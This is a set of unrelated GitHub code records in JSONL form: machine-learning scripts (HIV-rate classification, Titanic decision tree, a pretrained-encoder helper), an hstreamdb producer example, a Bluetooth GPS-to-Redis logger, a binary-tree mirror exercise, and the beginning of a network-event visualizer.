\trow.append(i)\n\t \tcol.append(VocabSize + bigramID)\n\t \tdata.append(bitf[docID][bigramID])\n\t \n\t # uncomment to use regression\n\t Yreg.append(locRates[docID]) \n\t # used for classification\n\t Yclass.append (labels[ locRates[docID] ])\n\t\n\t#X = csr_matrix ( (np.array(data),(np.array(row),np.array(col))), shape=(len(trainIndices),VocabSize), dtype=float)\n\t#bigram\n\tX = csr_matrix ( (np.array(data),(np.array(row),np.array(col))), shape=(len(trainIndices),VocabSize+len(VV.keys())), dtype=float)\n\tprint (X.shape)\n\n\t# #generate matricies (testing Data) Not used since we are doing cross-validation instead.\n\t# row = []\n\t# col = []\n\t# data = []\n\t# for i, docID in enumerate(testIndices):\n\t# for wordID in tf[docID]:\n\t# row.append(i)\n\t# col.append(wordID)\n\t# data.append(tfidf(docID, wordID, tf,idf) ) \n\t# # X[i, wordID] = tfidf(docID, wordID, tf,idf)\n\t# #Ytest.append(locRates[docID])\n\t# Ytest.append (labels[ locRates[docID] ])\n\t# Xtest = csr_matrix ( (np.array(data),(np.array(row),np.array(col))), shape=(len(testIndices),VocabSize), dtype=float)\n\n\t#print (sum(Ytrain), sum(Ytest))\n\t#print (X.shape)\n\n\t#classifier : http://scikit-learn.org/stable/modules/naive_bayes.html#naive-bayes\n\t# clf = pipeline.Pipeline([\n\t# \t('feature selection', feature_selection.SelectKBest(feature_selection.chi2, k=10))\n\t# \t('classification', MultinomialNB())\n\t# ])\n\tclf = MultinomialNB()\n\t#clf = linear_model.SGDClassifier()\n\ty = np.array(Yclass)\n\ty_ridge = np.array(Yreg)\n\tK = 5\n\tacc = 0\n\tprec = 0\n\trecal = 0\n\tk_fold = cross_validation.StratifiedKFold(Yclass, n_folds=K,shuffle=True, random_state=np.random.RandomState(seed))\n\n\t#clf_OLS = linear_model.LinearRegression()\n\t#clf_ridge = linear_model.Ridge()\n\t#clf_elastic = linear_model.ElasticNet()\n\t#avg_ols = 0\n\t#avg_rid = 0\n\tavg_ela = 0\n\tfor k, (train, test) in enumerate(k_fold):\n\t\t#Y_hat = clf.fit(X[train], y[train]).predict(X[test])\n\t\tch2 = feature_selection.SelectKBest(feature_selection.chi2, k=100)\n\t\tX_new = ch2.fit_transform(X, y)\n\t\tX_test = ch2.transform(X[test])\n\t\t\n\t\t#for feature in ch2.get_support(indices=True):\n\t\t#\tprint ( Vinv[feature] )\n\t\tY_hat = clf.fit(X[train], y[train]).predict(X[test])\n\n\t\tcm = conf_mat(Y_hat, y[test])\n\t\tprint (\"confusion matrix:\")\n\t\tprint (\" true label highHIVRates, true label lowHIVRates \")\n\t\tprint (\"predicted label highHIVRates: {0:{width}d} {1:{width}d}\".format(cm[0], cm[1],width=15))\n\t\tprint (\"predicted label lowHIVRates : {0:{width}d} {1:{width}d}\".format(cm[3], cm[2],width=15))\n\t\tprint (\"[fold {0}], accuracy: {1:.5f}, precision: {2:.5f}, recall: {3:.5f}\".\n\t\t\tformat(k, (cm[0]+cm[2])/(len(Y_hat)), cm[0]/max(cm[0]+cm[1],1), cm[0]/max(cm[0]+cm[3],1) ) )\n\t\tacc = (cm[0]+cm[2])/(len(Y_hat)) + acc\n\t\tprec = prec + cm[0]/max(cm[0]+cm[1],1)\n\t\trecal = recal + cm[0]/max(cm[0]+cm[3],1)\n\t\t\n\t\tprint (\"\")\n\t\t#print (len(train))\n\t\t# t_rg = np.array(train)\n\t\t# print (t_rg)\n\t\t#clf_OLS.fit(X[train], y_ridge[train]) \n\t\t#clf_ridge.fit(X[train], y_ridge[train]) \n\t\t#clf_elastic.fit(X[train], y_ridge[train]) \n\t\t\n\t\t#avg_ols = avg_ols + clf_OLS.score(X[test], y_ridge[test])\n\t\t#avg_rid = avg_rid + clf_ridge.score(X[test], y_ridge[test])\n\t\t#avg_ela = avg_ela + clf_elastic.score(X[test], y_ridge[test])\n\t\n\n\tprint (\"average acc: {0:.5f}, average precision: {1:.5f}, average recall: {2:.5f}\".format(acc/K, prec/K, recal/K))\n\t#print (\"avg OLS Regression: \", avg_ols/K)\n\t#print (\"avg Ridge Regression: \", avg_rid/K )\n\t#print (\"avg Elastic Regression: \", avg_ela/K )\n\n\t# for regression use the following:\n\n\t#clf_ridge = linear_model.RidgeCV(cv=K)\n\t#clf_ridge.score(X,y)\n\t#print (clf_ridge.cv_values)\n\t\n\t# #1.0 is best possible score, lower is worse\n\t# clf.score(Xtest, Ytest)\n\n\n\t# # In[82]:\n\n\t# clf.fit (X, Ytrain) \n\t# clf.coef_\n\t# #1.0 is best possible score, lower is worse\n\t# clf.score(Xtest, Ytest)\n\n\n\t# # In[ ]:\n\n\t# clf.fit (X, Ytrain) \n\t# clf.coef_\n\t# #1.0 is best possible score, lower is worse\n\t# clf.score(Xtest, Ytest)\n\n\nif __name__==\"__main__\":\n\tmain()\n","repo_name":"amorale4/HIVPrediction","sub_path":"tsvProc.py","file_name":"tsvProc.py","file_ext":"py","file_size_in_byte":10862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"11202149597","text":"import asyncio\nfrom hstreamdb import insecure_client, BufferedProducer\n\n\nasync def create_stream_if_not_exist(client, name):\n ss = await client.list_streams()\n if name not in {s.name for s in ss}:\n await client.create_stream(name, 1)\n\n\nclass AppendCallback(BufferedProducer.AppendCallback):\n def on_success(self, stream_name, payloads, stream_keyid: int):\n print(f\"Append success with {len(payloads)} batches.\")\n\n def on_fail(self, stream_name, payloads, stream_keyid, e):\n print(\"Append failed!\")\n print(e)\n\n\nasync def buffered_appends(client, stream_name):\n p = client.new_producer(\n append_callback=AppendCallback(),\n size_trigger=10240,\n time_trigger=0.5,\n retry_count=2,\n )\n\n for i in range(50):\n await p.append(stream_name, \"x\")\n\n await asyncio.sleep(1)\n\n for i in range(50):\n await p.append(stream_name, \"x\")\n\n await p.wait_and_close()\n\n\nasync def buffered_appends_with_compress(client, stream_name):\n p = client.new_producer(\n append_callback=AppendCallback(),\n size_trigger=10240,\n time_trigger=0.5,\n retry_count=2,\n compresstype=\"gzip\",\n compresslevel=9,\n )\n for i in range(50):\n await p.append(stream_name, \"x\")\n\n await asyncio.sleep(1)\n\n for i in range(50):\n await p.append(stream_name, \"x\")\n\n await p.wait_and_close()\n\n\nasync def main(host, port, stream_name):\n async with await insecure_client(host, port) as client:\n await create_stream_if_not_exist(client, stream_name)\n\n print(\"-> BufferedProducer\")\n await buffered_appends(client, stream_name)\n\n print(\"-> BufferedProducer with compression\")\n await buffered_appends_with_compress(client, stream_name)\n\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser(description=\"BufferedProducer Example\")\n parser.add_argument(\n \"--host\", type=str, help=\"server host\", default=\"127.0.0.1\"\n )\n parser.add_argument(\"--port\", type=int, help=\"server port\", default=6570)\n parser.add_argument(\n \"--stream-name\",\n type=str,\n help=\"name of the stream, default is 'test_stream'\",\n default=\"test_stream\",\n )\n\n args = parser.parse_args()\n asyncio.run(main(args.host, args.port, args.stream_name))\n","repo_name":"hstreamdb/hstreamdb-py","sub_path":"examples/buffered_append.py","file_name":"buffered_append.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"14251990891","text":"#!/usr/bin/env python3\n\nimport argparse\nimport gatt\nimport pynmea2\nimport logging\nimport redis\n\nfrom datetime import datetime\n\nlogger = logging.getLogger(__name__)\n\nr = redis.Redis()\ndata_session = r.incr('sessioncounter')\n\nclass GenericDevice(gatt.Device):\n\tdef connect_succeeded(self):\n\t\tsuper().connect_succeeded()\n\t\tlogger.info(\"Connected to [{}]\".format(self.mac_address))\n\t\n\tdef connect_failed(self, error):\n\t\tsuper().connect_failed(error)\n\t\tlogger.info(\"Connection failed [{}]: {}\".format(self.mac_address, error))\n\t\n\tdef disconnect_succeeded(self):\n\t\tsuper().disconnect_succeeded()\n\t\tlogger.info(\"Disconnected [{}]\".format(self.mac_address))\n\t\n\tdef services_resolved(self):\n\t\tsuper().services_resolved()\n\n\t\tlogger.info(\"Resolved services [{}]\".format(self.mac_address))\n\t\tfor service in self.services:\n\t\t\tlogger.info(\"\\t[{}] Service [{}]\".format(self.mac_address, service.uuid))\n\t\t\tfor characteristic in service.characteristics:\n\t\t\t\tlogger.info(\"\\t\\tCharacteristic [{}]\".format(characteristic.uuid))\n\n\tdef characteristic_enable_notifications_succeeded(self, characteristic):\n\t\tlogger.debug('Successfully enabled notifications for chrstc [{}]'.format(characteristic.uuid))\n\n\tdef characteristic_enable_notifications_failed(self, characteristic, error):\n\t\tlogger.debug('Failed to enabled notifications for chrstc [{}]: {}'.format(characteristic.uuid, error))\n\t\n\n\tdef find_service(self, uuid):\n\t\tfor service in self.services:\n\t\t\tif service.uuid == uuid:\n\t\t\t\treturn service\n\n\t\treturn None\n\n\tdef find_characteristic(self, service, uuid):\n\t\tfor chrstc in service.characteristics:\n\t\t\tif chrstc.uuid == uuid:\n\t\t\t\treturn chrstc\n\n\t\treturn None\n\nclass GPSDevice(GenericDevice):\n\tSERVICE_UUID_UART = \"6e400001-b5a3-f393-e0a9-e50e24dcca9e\"\n\tCHARACTERISTIC_UUID_TX = \"6e400002-b5a3-f393-e0a9-e50e24dcca9e\"\n\tCHARACTERISTIC_UUID_RX = \"6e400003-b5a3-f393-e0a9-e50e24dcca9e\"\n\n\tclass NextPackage:\n\t\tdef __init__(self):\n\t\t\tself.datestamp = None\n\t\t\tself.timestamp = None\n\t\t\tself.lat = None\n\t\t\tself.lng = None\n\t\t\tself.alt = None\n\t\t\tself.gps_qual = 0\n\t\t\tself.num_sats = 0\n\t\t\tself.h_dil = None\n\t\t\tself.speed = None\n\t\t\tself.dir = None\n\n\t\tdef __repr__(self):\n\t\t\tmsg = '{}(datestamp={},timestamp={},lat={},lng={},alt={},gps_qual={},num_sats={},speed={},dir={})'\n\t\t\treturn msg.format(\n\t\t\t\t\ttype(self).__name__,\n\t\t\t\t\trepr(self.datestamp),\n\t\t\t\t\trepr(self.timestamp),\n\t\t\t\t\trepr(self.lat),\n\t\t\t\t\trepr(self.lng),\n\t\t\t\t\trepr(self.alt),\n\t\t\t\t\trepr(self.gps_qual),\n\t\t\t\t\trepr(self.num_sats),\n\t\t\t\t\trepr(self.speed),\n\t\t\t\t\trepr(self.dir))\n\n\t\tdef is_valid(self):\n\t\t\treturn (self.datestamp is not None and\n\t\t\t\t\tself.timestamp is not None and\n\t\t\t\t\tself.lat is not None and\n\t\t\t\t\tself.lng is not None and\n\t\t\t\t\tself.alt is not None and\n\t\t\t\t\tself.speed is not None and\n\t\t\t\t\tself.dir is not None)\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.buffer = ''\n\t\tself.next_package = self.NextPackage()\n\n\tdef services_resolved(self):\n\t\tsuper().services_resolved()\n\n\t\tservice = self.find_service(self.SERVICE_UUID_UART)\n\t\tchrstc = self.find_characteristic(service, self.CHARACTERISTIC_UUID_RX)\n\t\tchrstc.enable_notifications()\n\t\n\tdef characteristic_value_updated(self, characteristic, value):\n\t\tself.buffer += value.decode()\n\t\tsplit = self.buffer.splitlines()\n\n\t\t# Fix buffer and split so that we don't have half lines\n\t\tif len(split) >= 0:\n\t\t\tif len(split[-1]) >= 3 and split[-1][-3] == '*':\n\t\t\t\tself.buffer = ''\n\t\t\telse:\n\t\t\t\tself.buffer = split[-1]\n\t\t\t\tsplit = split[0:-1]\n\n\t\tfor line in split:\n\t\t\ttry:\n\t\t\t\tmsg = pynmea2.parse(line)\n\n\t\t\t\tlogger.debug(line)\n\n\t\t\t\t# Parse input\n\t\t\t\tif isinstance(msg, pynmea2.GGA):\n\t\t\t\t\tif msg.gps_qual == 0:\n\t\t\t\t\t\tlogger.debug('No lock')\n\t\t\t\t\t\tlogger.debug(repr(msg))\n\t\t\t\t\t\tcontinue\n\n\t\t\t\t\tself.next_package.timestamp = msg.timestamp\n\t\t\t\t\tself.next_package.lat = msg.lat + msg.lat_dir\n\t\t\t\t\tself.next_package.lng = msg.lon + msg.lon_dir\n\t\t\t\t\tself.next_package.alt = '{:.2f}{}'.format(msg.altitude, msg.altitude_units)\n\t\t\t\t\tself.next_package.gps_qual = msg.gps_qual\n\t\t\t\t\tself.next_package.num_sats = msg.num_sats\n\n\t\t\t\telif isinstance(msg, pynmea2.RMC):\n\t\t\t\t\tself.next_package.datestamp = msg.datestamp\n\t\t\t\t\tself.next_package.speed = msg.spd_over_grnd * 1.852 # Convert to KM/H\n\t\t\t\t\tself.next_package.dir = msg.true_course\n\n\t\t\t\t\tif (self.next_package.is_valid()):\n\t\t\t\t\t\tlogger.debug(str(self.next_package))\n\t\t\t\t\t\t# Do redis stuff here\n\t\t\t\t\t\tkeyid = datetime.combine(\n\t\t\t\t\t\t\t\t\tself.next_package.datestamp,\n\t\t\t\t\t\t\t\t\tself.next_package.timestamp\n\t\t\t\t\t\t\t\t).isoformat()\n\t\t\t\t\t\tr.rpush('gpsentries', keyid)\n\t\t\t\t\t\tr.hmset('gpsdata:{}'.format(keyid),\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t'session' : data_session,\n\t\t\t\t\t\t\t\t\t'latitude' : self.next_package.lat,\n\t\t\t\t\t\t\t\t\t'longitude' : self.next_package.lng,\n\t\t\t\t\t\t\t\t\t'altitude' : self.next_package.alt,\n\t\t\t\t\t\t\t\t\t'speed' : self.next_package.speed,\n\t\t\t\t\t\t\t\t\t'direction' : self.next_package.dir\n\t\t\t\t\t\t\t\t})\n\n\t\t\t\t\tself.next_package = self.NextPackage()\n\n\t\t\texcept pynmea2.ChecksumError as e:\n\t\t\t\t((msg, line),) = e.args\n\n\t\t\t\tlogger.info('NMEA: {}: Skipping sentence'.format(msg))\n\t\t\t\tlogger.debug('\\t{}'.format(line))\n\n\t\t\texcept pynmea2.ParseError as e:\n\t\t\t\t((msg, line),) = e.args\n\n\t\t\t\tlogger.warn('NMEA: {}: Skipping sentence'.format(msg))\n\t\t\t\tlogger.debug('\\t{}'.format(line))\n\n\t\t\n\nclass IMUDevice(GenericDevice):\n\tSERVICE_UUID_UART = \"0000ffe0-0000-1000-8000-00805f9b34fb\"\n\tCHARACTERISTIC_UUID_UART = \"0000ffe1-0000-1000-8000-00805f9b34fb\"\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.buffer = ''\n\n\tdef services_resolved(self):\n\t\tsuper().services_resolved()\n\n\t\tservice = self.find_service(self.SERVICE_UUID_UART)\n\t\tchrstc = self.find_characteristic(service, self.CHARACTERISTIC_UUID_UART)\n\t\tchrstc.enable_notifications()\n\t\n\tdef characteristic_value_updated(self, characteristic, value):\n\t\tself.buffer += value.decode()\n\t\tsplit = self.buffer.splitlines()\n\t\tself.buffer = split[-1]\n\n\t\tfor i in split[0:-1]:\n\t\t\t# Need to parse input and push accel x y z, gyro x y z, mag x y z and temp\n\t\t\tpass\n\t\t\nclass AnyDeviceManager(gatt.DeviceManager):\n\n\t# For now, device mac addresses are hard coded into the program. An enhancement for the\n\t# future is a registration system, whereby nodes could be registered with this edge device\n\t# to add their mac addresses to a database.\n\tregistered_device_macs = {\n\t\t\t\"3c:71:bf:84:b3:86\" : GPSDevice\n\t}\n\n\tdef device_discovered(self, device):\n\t\t#logging.debug('Found device [{}] type \"{}\"'.format(device.mac_address, type(device)))\n\t\tif type(device) is not gatt.Device and not device.is_connected():\n\t\t\tlogging.debug('Attempting connection with [{}]'.format(device.mac_address))\n\t\t\tdevice.connect()\n\t\n\tdef make_device(self, mac_address):\n\t\tif mac_address not in self.registered_device_macs:\n\t\t\treturn gatt.Device(manager=self, mac_address=mac_address)\n\n\t\treturn self.registered_device_macs[mac_address](manager=self, mac_address=mac_address)\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-v', '--verbose', action='count', default=0)\n\targs = parser.parse_args()\n\n\tlevels = [logging.WARNING, logging.INFO, logging.DEBUG]\n\tlogging.basicConfig(level=levels[min(len(levels) - 1, args.verbose)])\n\n\tlogger.warning('Level WARNING')\n\tlogger.info('Level INFO')\n\tlogger.debug('Level DEBUG')\n\n\tmanager = AnyDeviceManager('hci0')\n\tmanager.start_discovery()\n\n\ttry:\n\t\tmanager.run()\n\texcept KeyboardInterrupt:\n\t\tfor device in manager.devices():\n\t\t\tif device.is_connected():\n\t\t\t\tdevice.disconnect()\n\t\tmanager.stop()\n","repo_name":"Aloz1/iot-raspi","sub_path":"gatt_manager.py","file_name":"gatt_manager.py","file_ext":"py","file_size_in_byte":7458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"6184799329","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n#%matplotlib inline\n\n\nfrom sklearn import preprocessing, tree\n#from sklearn.cross_validation import train_test_split #舊版\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier, plot_tree\nclf = tree.DecisionTreeClassifier(random_state=0)\n\ntitanic = pd.read_csv(\"train.csv\")\n#Age中有NaN資料\nage_median = np.nanmedian(titanic[\"Age\"]) \n#計算age中位數\n\nnew_age=np.where(titanic[\"Age\"].isnull(), age_median, titanic[\"Age\"])\n #若空以中位數取敗\ntitanic[\"Age\"]=new_age\n#PClass欄位為無\\文字轉數字\nlabel_encoder = preprocessing.LabelEncoder()\nencoded_class = label_encoder.fit_transform(titanic[\"Pclass\"]) \n#姜滄等轉繩數字 1st, 2nd, ...\ntitanic[\"Sex\"].replace(['female','male'],[0,1],inplace=True) \n#將female male 轉成 0, 1\nX= pd.DataFrame([titanic[\"Sex\"], encoded_class]).T\n #Sex為string \nX.columns=[\"Sex\", \"Pclass\"]\n#X= pd.DataFrame([encoded_class, titanic[\"Age\"]]).T\ny = titanic[\"Survived\"]\n\nXtrain, XTest, yTrain, yTest = \\\ntrain_test_split(X, y, test_size=0.25, random_state=1)\ndtree =tree.DecisionTreeClassifier()\ndtree.fit(Xtrain, yTrain)\nprint(\"準確率 :\", dtree.score(XTest, yTest))\npreds= dtree.predict_proba(X=XTest)\nprint(pd.crosstab(preds[:,0], columns=[X[\"Pclass\"],XTest[\"Sex\"]]))\n\npreds= dtree.predict_proba(X=XTest)\nprint(pd.crosstab(preds[:,0], columns=[X[\"Pclass\"],XTest[\"Sex\"]]))\n\nplt.figure()\nplot_tree(dtree, filled=True)\nplt.show()\n","repo_name":"molly5617/ALGRO","sub_path":"c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"40651535224","text":"from typing import Callable, Optional, Tuple, Union\n\nfrom torch import nn\n\nfrom sequoia.utils.logging_utils import get_logger\n\nlogger = get_logger(__name__)\n\n\ndef get_pretrained_encoder(\n encoder_model: Callable,\n pretrained: bool = True,\n freeze_pretrained_weights: bool = False,\n new_hidden_size: int = None,\n) -> Tuple[nn.Module, int]:\n \"\"\"Returns a pretrained encoder on ImageNet from `torchvision.models`\n\n If `new_hidden_size` is True, will try to replace the classification layer\n block with a `nn.Linear(, new_hidden_size)`, where corresponds to the\n hidden size of the model. This last layer will always be trainable, even if\n `freeze_pretrained_weights` is True.\n\n Args:\n encoder_model (Callable): Which encoder model to use. Should usually be\n one of the models in the `torchvision.models` module.\n pretrained (bool, optional): Wether to try and download the pretrained\n weights. Defaults to True.\n freeze_pretrained_weights (bool, optional): Wether the pretrained\n (downloaded) weights should be frozen. Has no effect when\n `pretrained` is False. Defaults to False.\n new_hidden_size (int): The hidden size of the resulting model.\n\n Returns:\n Tuple[nn.Module, int]: the pretrained encoder, with the classification\n head removed, and the resulting output size (hidden dims)\n \"\"\"\n\n logger.debug(f\"Using encoder model {encoder_model.__name__}\")\n logger.debug(f\"pretrained: {pretrained}\")\n logger.debug(f\"freezing the pretrained weights: {freeze_pretrained_weights}\")\n try:\n encoder = encoder_model(pretrained=pretrained)\n except TypeError as e:\n encoder = encoder_model()\n\n if pretrained and freeze_pretrained_weights:\n # Fix the parameters of the model.\n for param in encoder.parameters():\n param.requires_grad = False\n\n replace_classifier = new_hidden_size is not None\n # We want to replace the last layer (the classification layer) with a\n # projection from their hidden space dimension to ours.\n new_classifier: Optional[nn.Linear] = None\n classifier = None\n if not replace_classifier:\n # We will create the 'new classifier' but then not add it.\n # this allows us to also get the 'hidden_size' of the resulting encoder.\n new_hidden_size = 1\n\n for attr in [\"classifier\", \"fc\"]:\n if hasattr(encoder, attr):\n classifier: Union[nn.Sequential, nn.Linear] = getattr(encoder, attr)\n new_classifier: Optional[nn.Linear] = None\n\n # Get the number of input features.\n if isinstance(classifier, nn.Linear):\n new_classifier = nn.Linear(\n in_features=classifier.in_features, out_features=new_hidden_size\n )\n elif isinstance(classifier, nn.Sequential):\n # if there is a classifier \"block\", get the number of\n # features from the first encountered dense layer.\n for layer in classifier.children():\n if isinstance(layer, nn.Linear):\n new_classifier = nn.Linear(layer.in_features, new_hidden_size)\n break\n break\n\n if new_classifier is None:\n raise RuntimeError(\n f\"Can't detect the hidden size of the model '{encoder_model.__name__}'!\"\n f\" (last layer is :{classifier}).\\n\"\n )\n\n if not replace_classifier:\n new_hidden_size = new_classifier.in_features\n new_classifier = nn.Sequential()\n else:\n logger.debug(\n f\"Replacing the attribute '{attr}' of the \"\n f\"{encoder_model.__name__} model with a new classifier: \"\n f\"{new_classifier}\"\n )\n setattr(encoder, attr, new_classifier)\n return encoder, new_hidden_size\n","repo_name":"lebrice/Sequoia","sub_path":"sequoia/utils/pretrained_utils.py","file_name":"pretrained_utils.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","stars":185,"dataset":"github-code","pt":"90"} +{"seq_id":"29741271899","text":"\"\"\"\n操作给定的二叉树,将其变换为源二叉树的镜像。\n\"\"\"\n\nclass Node:\n def __init__(self, value=None, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\nclass Tree:\n \"\"\"\n 创建二叉树\n \"\"\"\n def __init__(self):\n self.root = Node()\n self.queue = []\n\n def add(self, value):\n node = Node(value)\n if self.root.value is None:\n self.root = node\n self.queue.append(node)\n else:\n tree_node = self.queue[0]\n if tree_node.left is None:\n tree_node.left = node\n self.queue.append(node)\n else:\n tree_node.right = node\n self.queue.append(node)\n self.queue.pop(0)\n\n @staticmethod\n def level_recursive(root):\n if root is None:\n return None\n node = root\n queue = list()\n queue.append(node)\n while queue:\n node = queue.pop(0)\n if node.value is not None:\n yield node.value\n if node.left:\n queue.append(node.left)\n if node.right:\n queue.append(node.right)\n\n\ndef mirror(node):\n if node is None:\n return None\n node.right, node.left = mirror(node.left), mirror(node.right)\n return node\n # if node.left and node.right:\n # node.left, node.right = node.right, node.left\n # mirror(node.left)\n # mirror(node.right)\n # elif node.left:\n # node.right = node.left\n # mirror(node.left)\n # node.left = None\n # elif node.right:\n # node.left = node.right\n # mirror(node.right)\n # node.right = None\n\n\nif __name__ == '__main__':\n tree = Tree()\n for i in range(0, 6):\n tree.add(i)\n\n before = list()\n after = list()\n for i in tree.level_recursive(tree.root):\n before.append(i)\n print(before)\n mirror(tree.root)\n for i in tree.level_recursive(tree.root):\n after.append(i)\n print(after)\n","repo_name":"misoomang/offer_test","sub_path":"17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"37811347221","text":"from multiprocessing import Queue\nfrom queue import Empty\n\nimport math\nimport time\n\n# The interval between two consecutive frames:\nFRAME_INTERVAL = 20 # in milliseconds\n\n# The number of frames to produce an action:\nFRAMES_PER_ACTION = 20\n\n# Timeout value when wait for an event\nMAX_UNRESPONSIVE_DURATION = 1\n\n# The radius of a circle representing a node:\nCIRCLE_RADIUS = 0.3\n\n# The default color of a circle:\nDEFAULT_CIRCLE_COLOR = (0, 0, 1)\n\n# The default color of a line:\nDEFAULT_LINE_COLOR = (0, 0, 0)\n\n# The default color of a circle:\nDEFAULT_PACKET_COLOR = (1, 0, 0)\n\n# The radius of a circle representing a 1-byte packet:\nSMALLEST_PACKET_RADIUS = 0.07\n\n# How fast a packet is transferred?\nPROPAGATION_SPEED = 10 # unit distance/second\nPACKET_SPEED = PROPAGATION_SPEED / 1000 * FRAME_INTERVAL # unit distance/frame\nSPEED_FACTOR = 1.2\nSPEED_FACTOR_UPDATE_START_TIME: float\nSPEED_FACTOR_UPDATE_START_FRAME: int\n\n\nclass Event(object):\n \"\"\"This class acts as a namespace for network event types.\"\"\"\n CREATE_SOCKET = 0\n CONNECT = 1\n TRANSMIT = 2\n CLOSE_SOCKET = 3\n\n\ndef visualize(event_q: Queue) -> None:\n \"\"\"\n Visualize network events.\n\n Notes:\n This function will be executed in another process.\n\n Args:\n event_q: a queue where network events come from.\n\n \"\"\"\n import matplotlib as mpl\n import matplotlib.pyplot as plt\n import matplotlib.animation as animation\n import matplotlib.lines as lines\n mpl.rcParams['toolbar'] = 'None'\n\n # setup some plotting properties\n plt.figure(num=\"Network activities\")\n plt.grid()\n plt.xlim(0, PROPAGATION_SPEED)\n plt.ylim(0, PROPAGATION_SPEED)\n\n # nodes/links containers\n current_circles = {} # location -> [circle, socket_count, label]\n current_lines = {} # (2 ending-locations) -> [line, line_count]\n current_packets = {} # (2 ending-locations) -> packet_size\n\n # objects in animation state\n appearing_circles = {} # circle -> frame_count\n disappearing_circles = {} # circle -> frame_count\n appearing_lines = {} # line -> [vector, frame_count]\n disappearing_lines = {} # line -> frame_count\n moving_circles = {} # circle -> [vector, frames_needed, frame_count]\n\n # current status\n active = False\n\n def is_active():\n \"\"\"Return True if there is an object in action.\"\"\"\n if (len(appearing_circles) == 0 and len(disappearing_circles) == 0 and\n len(appearing_lines) == 0 and len(disappearing_lines) == 0 and\n len(moving_circles) == 0 and len(current_packets) == 0):\n return False\n else:\n return True\n\n def update_appearing_circles():\n \"\"\"Update the states of appearing circles.\"\"\"\n\n animation_done_circles = []\n\n # for each circle\n for circle, frame_count in appearing_circles.items():\n\n # done when enough frames have passed\n if frame_count == FRAMES_PER_ACTION:\n animation_done_circles.append(circle)\n continue\n\n # increase the circle's radius\n circle.set_radius(frame_count * CIRCLE_RADIUS / FRAMES_PER_ACTION)\n\n # update the number of frames have passed\n appearing_circles[circle] = frame_count + 1\n\n # remove animation-done circles\n for circle in animation_done_circles:\n del appearing_circles[circle]\n\n def update_disappearing_circles():\n \"\"\"Update the states of disappearing circles.\"\"\"\n\n animation_done_circles = []\n\n # for each circle\n for circle, frame_count in disappearing_circles.items():\n\n # done when enough frames have passed\n if frame_count == FRAMES_PER_ACTION:\n animation_done_circles.append(circle)\n continue\n\n # decrease the circle's alpha\n r, g, b, a = circle.get_facecolor()\n a = 1.0 - frame_count / FRAMES_PER_ACTION\n circle.set_facecolor((r, g, b, a))\n\n # update the number of frames have passed\n disappearing_circles[circle] = frame_count + 1\n\n # remove animation-done circles\n for circle in animation_done_circles:\n del disappearing_circles[circle]\n circle.remove()\n\n def update_appearing_lines():\n \"\"\"Update the states of appearing lines.\"\"\"\n\n animation_done_lines = []\n\n # for each line\n for line, ((dx, dy), frame_count) in appearing_lines.items():\n\n # done when enough frames have passed\n if frame_count == FRAMES_PER_ACTION:\n animation_done_lines.append(line)\n continue\n\n # increase the line's length\n (x1, x2), (y1, y2) = line.get_data()\n line.set_data([x1, x2 + dx], [y1, y2 + dy])\n\n # update the number of frames have passed\n appearing_lines[line][1] = frame_count + 1\n\n # remove animation-done lines\n for line in animation_done_lines:\n del appearing_lines[line]\n\n def update_disappearing_lines():\n \"\"\"Update the states of disappearing lines.\"\"\"\n\n animation_done_lines = []\n\n # for each line\n for line, frame_count in disappearing_lines.items():\n\n # done when enough frames have passed\n if frame_count == FRAMES_PER_ACTION:\n animation_done_lines.append(line)\n continue\n\n # switch the line's color\n if frame_count % 2 == 0:\n line.set_color(\"w\")\n else:\n line.set_color(DEFAULT_LINE_COLOR)\n\n # update the number of frames have passed\n disappearing_lines[line] = frame_count + 1\n\n # remove animation-done lines\n for line in animation_done_lines:\n del disappearing_lines[line]\n line.remove()\n\n def update_moving_circles():\n \"\"\"Update the states of moving circles.\"\"\"\n\n # get pending packets\n nonlocal current_packets\n for ((x1, y1), (x2, y2)), size in current_packets.items():\n distance = math.sqrt((x2-x1)**2 + (y2-y1)**2)\n frames_needed = max(1, int(\n distance / (PACKET_SPEED * SPEED_FACTOR)))\n vector = (x2-x1)/frames_needed, (y2-y1)/frames_needed\n circle = plt.Circle(\n xy=(x1, y1),\n radius=size**(1/3) * SMALLEST_PACKET_RADIUS,\n facecolor=DEFAULT_PACKET_COLOR,\n )\n plt.gca().add_artist(circle)\n moving_circles[circle] = [vector, frames_needed, 0]\n\n # empty the set of pending packets\n current_packets = {}\n\n # update moving circles\n animation_done_circles = []\n for circle, ((dx, dy), frames_needed, frame_count) in \\\n moving_circles.items():\n\n # done if enough frames have passed\n if frame_count == frames_needed:\n animation_done_circles.append(circle)\n continue\n\n # moving the circle\n x, y = circle.center\n circle.set_center((x + dx, y + dy))\n\n # update the number of frames have passed\n moving_circles[circle][2] = frame_count + 1\n\n # remove animation-done circles\n for circle in animation_done_circles:\n del moving_circles[circle]\n disappearing_circles[circle] = FRAMES_PER_ACTION // 2\n\n def process_create_socket(args):\n \"\"\"Process a CREATE_SOCKET event.\"\"\"\n\n # get the location\n x, y = location = args[0]\n name = args[1]\n\n # new-location case:\n if location not in current_circles:\n\n # make a new circle and add to map\n circle = plt.Circle(xy=location, radius=0.0,\n 